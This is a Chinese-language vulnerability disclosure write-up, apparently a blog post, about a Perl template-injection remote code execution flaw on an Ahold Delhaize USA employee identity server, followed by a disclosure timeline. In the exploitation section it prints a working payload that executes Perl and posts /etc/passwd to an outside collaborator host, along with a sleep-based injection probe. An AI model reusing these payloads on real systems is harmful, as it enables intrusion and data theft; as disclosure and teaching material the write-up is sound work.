Ahold Delhaize USA远程代码执行漏洞分析:长达3.5年(甚至18年?)的员工凭证泄露风险

本文详细分析了Ahold Delhaize USA身份管理服务器存在的严重安全漏洞,包括服务器端模板注入和远程代码执行,导致员工登录凭证可能已泄露超过3.5年,甚至可能追溯到2005年。

背景

Ahold Delhaize自称是全球最大的食品零售集团之一,每周服务6000万客户,拥有150年历史,员工超过41.4万人。该公司声称是超市和电子商务领域的领导者,并在2020年因支持网络安全透明度而获奖。他们鼓励人们分享安全见解,今天我们就来实践这一理念!

讨论

通常我会把讨论部分放在报告末尾,但今天情况特殊。这个CVSS 10分的严重漏洞在报告后超过3.5年仍未修复,我强烈怀疑该漏洞自2005年就已存在。这使得员工凭证面临泄露风险,考虑到人们经常重复使用密码,应该告知他们这一潜在泄露。

该漏洞于2020年4月23日发现,同日得到Ahold安全团队确认。我错误地认为确认后会立即修复,这是个惨痛教训:一定要在一个月后自行检查修复情况,并通过邮件跟踪所有报告的漏洞。

2023年11月2日(3.5年后),我收到邮件称漏洞已修复。但令人惊讶的是,2023年11月9日我发现漏洞依然存在。这次我完整利用了该漏洞,作为概念验证从服务器窃取了/etc/passwd文件。

由于任何人都可以在服务器上执行任意代码,且无需身份验证、易于发现,该服务器应被视为至少3.5年(甚至18年)完全沦陷。这个易受攻击的服务器作为中央身份提供商,允许用户登录和重置密码,支持不同的Ahold公司。

侦察

在攻击公司时,我们总是寻找最有趣和最薄弱的资产。对于Ahold Delhaize这样规模的公司,建立适当的身份管理系统是个巨大挑战。他们经常收购公司,可能需要与旧的遗留系统协作。

一个良好的起点是找出员工登录的位置。Google搜索显示https://ws1.aholdusa.com/用于美国员工登录。快速查看网页设计给人90年代的感觉,这对安全研究人员来说是好事,因为遗留代码往往存在安全问题。

进一步查找显示该服务器的另一个名称是:ldap-ws-vip.aholdusa.com。LDAP(轻量级目录访问协议)是用于访问和维护分布式目录信息服务的协议,通常是组织IT基础设施的核心部分。

使用TomNomNom开发的waybackurls工具,我们发现了包含cgi-bin的URL,这看起来像是Perl(过去用于创建网站的编程语言)。访问该页面显示一个可提交的表单,最后更改日期显示为2005年12月15日。

发现服务器端模板注入漏洞

下一步是在Burp Browser中打开此页面以捕获所有浏览器流量。提交表单时会发出请求。我通常寻找能改变响应输出的参数,这很容易导致XSS和其他类型的漏洞。

使用Burp Intruder,我们添加新的模拟参数到POST正文,选择参数名称作为注入点。我们看到值在源代码中反映,存在反射型XSS!

通过按长度排序响应列表,我们发现Version参数很有趣,在源代码中它将我们的12345a有效负载反映为HTML!我们可以设置XSS有效负载来接管任何访问特定URL的用户的浏览器会话。

但如果我们能利用这个反射漏洞做更多事情呢?每当遇到反射型XSS漏洞时,还应检查服务器端模板注入漏洞。这些漏洞的影响通常更大,因为它们允许在服务器上执行代码。

由于我们知道端点运行Perl,现在只扫描与Perl相关的代码注入。在Burp中创建新的实时任务,设置扫描配置仅检查Perl代码注入选项。

成功利用

BANG!Burp发现了Perl代码注入漏洞!我们有一个让服务器睡眠20秒的请求,通过注入有效负载{${sleep(lc(20))}}。

为了向非技术人员展示实际影响,我创建了泄露/etc/passwd文件的有效负载:

1
version=${exec('perl -MMIME::Base64 -MLWP::UserAgent -e \'my $ua %3d LWP::UserAgent->new;my $response %3d $ua->post(\"http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \"form-data\", Content %3d> [file %3d> [\"/etc/passwd\"]]);\'\')}

有效负载说明:

  • Perl代码执行:${exec(’…’)}中的有效负载是Perl代码,经过URL编码确保通过HTTP正确传输
  • LWP::UserAgent模块:允许代码发出HTTP请求
  • 发出POST请求:$ua->post(…)函数向指定URL发送POST请求,包含/etc/passwd文件内容

请求向客户端返回错误,但代码已执行,/etc/passwd文件泄露到我们的服务器!

额外有效负载:

  • 获取执行perl进程的当前Linux用户(’nobody’)
  • 显示/etc/目录内容(长文件列表和备份文件)

结论

我们证明了可以完全攻陷ws1.aholdusa.com服务器,这是一个身份管理系统/LDAP服务器。我3.5年前发现了这个漏洞,但它很可能自2005年12月15日就已存在。

使用此服务器的所有用户/员工/客户/供应商数据应被视为已泄露,因为我们证明了完整的远程代码执行能力,并能建立到我们自己服务器的出站连接。

时间线

  • 2020年4月23日 — 向Ahold安全团队报告漏洞
  • 2020年4月23日 — Ahold确认漏洞,承诺保持通知
  • 2023年11月2日 — Ahold请求确认漏洞修复并提供修复证明
  • 2023年11月9日 — 确认漏洞仍然存在,创建完整RCE有效负载并撰写此博客
  • 2023年11月13日 — Ahold奖励此漏洞300欧元
  • 2023年11月15日 — Ahold告知端点已修复,但漏洞仍然存在
  • 2023年11月20日 — Ahold告知漏洞已解决,我确认修复
  • 2023年12月14日 — 披露上述报告
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计